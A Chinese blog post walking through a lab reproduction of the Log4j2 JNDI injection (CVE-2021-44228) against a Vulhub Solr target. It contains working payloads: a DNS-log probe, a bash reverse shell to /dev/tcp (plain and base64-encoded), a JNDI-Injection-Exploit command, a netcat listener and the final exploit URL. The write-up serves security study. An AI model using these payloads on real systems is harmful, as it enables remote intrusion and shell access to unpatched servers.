【漏洞复现】Apache log4j2(CVE-2021-44228)

发布时间 2023-08-11 01:16:17作者: gloves7

仅供技术学习和参考交流,请勿用于违法行为!!!!!!

本文对Apache log4j2(CVE-2021-44228)进行漏洞复现,Apache Log4j2是一个基于Java的日志记录工具,2021年12月9日爆出Log4j2组件在处理程序日志记录时存在JNDI注入漏洞,掀起了不小风浪。

工具:

  • 攻击机:win10笔记本 192.168.64.1
  • 靶机:vulhub 192.168.64.170
  • 模拟VPS:win10 192.168.64.149

软件工具:

  • Burpsuite
  • JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 
  • vmware
  • netcat

本次采用的靶场是自己在CentOS7上搭建的vulhub靶机,需要使用docker启动,需要的同学自行安装。

vulhub下载:https://github.com/vulhub/vulhub 

JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit  //需要自己编译jar包

漏洞复现过程:

1.打开靶机,启动靶场,靶场端口为8983。

 2.使用攻击机浏览器访问靶场地址http://192.168.64.170:8983

 3.查看各功能,发现Add Core页面有添加功能,猜想应该可以传参

 4.打开burpsuite代理,点击add core进行抓包

 抓包看到确实有传参,这里应该是注入点。并发现url为:/solr/admin/core  打开浏览器访问此url。

5.因为这个漏洞没有回显,所以要检测其漏洞是否存在,需要借助dnslog来查看是否有回显。

doslog地址:http://www.dnslog.cn/ dnslog是一个免费dns解析记录网。我们通过获取一个随机域名,然后构造一个payload让靶机去解析该域名,如果解析成功,dnslog就会记录下其IP。

 6.构造payload:payload=${jndi:ldap://dnslog域名},并使用hackbar发送payload。

 返回dnslog,看样看到解析记录,说明存在该漏洞。

 7.打开模拟的VPS,这里使用VMware的虚拟机模拟公网VPS。

  • 构造反弹sehll命令:

    bash -i >&/dev/tcp/IP地址/监听端口 0>&1

  • 使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all工具开启ldap和rmi监听服务

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的反弹shell}|{base64,-d}|{bash,-i}" -A VPS地址

例如,本次实验VPS的IP地址为192.168.64.149,使用的监听端口为23456。则

  反弹shell:  bash -i >&/dev/tcp/192.168.64.149/23456 0>&1

  base64编码为:YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjQuMTQ5LzIzNDU2IDA+JjE=

  执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjQuMTQ5LzIzNDU2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.64.149

8.VPS打开CMD,使用nc监听23456端口

命令:nc -lvnp 23456

 在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 目录下打开一个CMD窗口,执行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNjQuMTQ5LzIzNDU2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.64.149

 生成的rmi和ldap则可以用于payload构造。

9.返回攻击机,使用hackbar发送playload。

http://192.168.64.170:8983/solr/admin/cores?payload=${jndi:ldap://192.168.64.149:1389/dr1ohm}

 

 

10.在VPS上成功反弹shell。